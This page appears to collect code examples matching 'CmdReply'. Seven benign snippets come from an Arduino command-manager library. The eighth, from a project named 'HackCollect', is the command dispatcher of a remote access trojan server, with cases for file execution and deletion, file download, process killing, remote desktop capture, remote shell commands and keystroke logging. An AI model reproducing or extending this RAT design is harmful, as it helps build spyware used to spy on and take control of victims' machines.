コード例 #1
0
ファイル: CmdManager.cpp プロジェクト: Tomsen/CmdManager
void CmdManager::ProcessCommunication()
{

    char _messageBuffer[this->m_CmdMessageSize];
    
    bool _didReadMessage = this->ReadStreamToBuffer(_messageBuffer);
    
    if(_didReadMessage)
    {
        CmdMessage* _newMessage = (CmdMessage*) _messageBuffer;
        
        if(_newMessage->Target == CMD_TARGET_MANAGER)
        {
            this->ProcessCommandMessage(*_newMessage);
        }
        else if (_newMessage->Target == CMD_TARGET_ARDUINO) {
            
            if(this->m_BatchProcessing)
            {
                if (this->m_NextFreeQueuePosition >= this->m_TotalQueueLength) {
                    
                    CmdReply _reply = CmdReply();
                    
                    _reply.Value = this->m_AvailableCommands;
                    _reply.CommandReply = CMD_REPLY_FAILED;
                    
                    this->SendReply(_reply);
                    
                    return;
                }
                
                //copy the buffer to the queue position, making it a CmdMessage
                memcpy((void*)&(this->m_MessageQueue[this->m_NextFreeQueuePosition]),
                       _newMessage,
                       this->m_CmdMessageSize);
                
                this->m_NextFreeQueuePosition++;
                this->m_AvailableCommands--;
            }
            else {
                
                this->ProcessCommandMessage(*_newMessage);
                
            }
        }
        
        CmdReply _reply = CmdReply();
        _reply.Value = this->m_AvailableCommands;
        _reply.CommandReply = CMD_REPLY_RECEIVED_COMMAND;
        
        this->SendReply(_reply);
    }
}
コード例 #2
0
ファイル: CmdManager.cpp プロジェクト: Tomsen/CmdManager
void CmdManager::Pin_Mode(CmdMessage const & _cmdMessage)
{
    pinMode(_cmdMessage.TargetPin, _cmdMessage.Value);
    
    CmdReply _reply = CmdReply(_cmdMessage);
    _reply.CommandReply = CMD_REPLY_OK;
    
    this->SendReply(_reply);
}
コード例 #3
0
ファイル: CmdManager.cpp プロジェクト: Tomsen/CmdManager
void CmdManager::SetProcessMessageQueue(CmdMessage const & _cmdMessage)
{
    this->m_ProcessQueue = (bool) _cmdMessage.Value;
    
    CmdReply _reply = CmdReply(_cmdMessage);
    _reply.CommandReply = CMD_REPLY_OK;
    
    this->SendReply(_reply);
}
コード例 #4
0
ファイル: CmdManager.cpp プロジェクト: Tomsen/CmdManager
void CmdManager::Available_Commands(CmdMessage const & _cmdMessage)
{
    CmdReply _reply = CmdReply(_cmdMessage);
    
    _reply.Value = this->m_AvailableCommands;
    _reply.CommandReply = CMD_REPLY_OK;
    
    this->SendReply(_reply);
}
コード例 #5
0
ファイル: CmdManager.cpp プロジェクト: Tomsen/CmdManager
void CmdManager::Digital_Write(CmdMessage const & _cmdMessage)
{
    digitalWrite(_cmdMessage.TargetPin, _cmdMessage.Value);
    
    CmdReply _reply = CmdReply(_cmdMessage);
    
    _reply.CommandReply = CMD_REPLY_OK;
    
    this->SendReply(_reply);
}
コード例 #6
0
ファイル: CmdManager.cpp プロジェクト: Tomsen/CmdManager
void CmdManager::Digital_Read(CmdMessage const & _cmdMessage)
{
    uint8_t _returnValue = digitalRead(_cmdMessage.TargetPin);
    
    CmdReply _reply = CmdReply(_cmdMessage);
    _reply.Value = _returnValue;
    _reply.CommandReply = CMD_REPLY_OK;
    
    this->SendReply(_reply);
}
コード例 #7
0
ファイル: CmdManager.cpp プロジェクト: Tomsen/CmdManager
void CmdManager::Delay(CmdMessage const & _cmdMessage)
{
    delay(_cmdMessage.Value);
    
    CmdReply _reply = CmdReply(_cmdMessage);
    
    _reply.CommandReply = CMD_REPLY_OK;
    
    this->SendReply(_reply);
}
コード例 #8
0
ファイル: Server.cpp プロジェクト: drupalhunter/HackCollect
//////////////////////////////////////////////////////////////////////////
//包分发机制
//////////////////////////////////////////////////////////////////////////
BOOL DispatchCmd(SOCKET sockfd,int dwSize)
{
	switch (((RatProto*)szRecvCmd)->RatId)
	{
	case FILE_VIEW:
		{
			//列盘符
			DriveList(sockfd);
		}
		break;
	case FILE_OPEN:
		{
			//打开指定文件
			FileOpen(sockfd,dwSize);
		}
		break;
	case FILE_EXCUTE:
		{
			//执行EXE文件
			FileExcute(sockfd,dwSize);
		}
		break;
	case FILE_BACK:
		{
			//文件夹回溯
			FileBack(sockfd,dwSize);
		}
		break;
	case FILE_DELETE:
		{
			//删除文件
			FileDelete(sockfd,dwSize);
		}
		break;
	case FILE_DOWNLOAD:
		{
			//下载文件
			FileDownload(sockfd,dwSize);
		}
		break;
	case PROC_VIEW:
		{
			//PROCVIEW函数
			ProcView(sockfd,dwSize);
		}
		break;
	case PROC_DELETE:
		{
			//删除PID指定进程
			ProcDelete(sockfd,dwSize);
		}
		break;
	case DESK_VIEW:
		{
			//远程桌面捕获
			DeskView(sockfd);
		}
		break;
	case CMD_REQUSET:
		{
			//响应CMD消息
			CmdReply(sockfd,dwSize);
		}
		break;
	case KEY_OK:
		{
			//开启键盘监控
			Start2Hook(sockfd);
		}
		break;
	case KEY_CANCEL:
		{
			//关闭键盘监控
			Stop2Hook(sockfd);
			
		}
		break;
	case SYS_VIEW:
		{
			//SYSINFO相关函数
			SysView(sockfd,dwSize);
		}
		break;
	default:
		return FALSE;
	}

	return TRUE;
}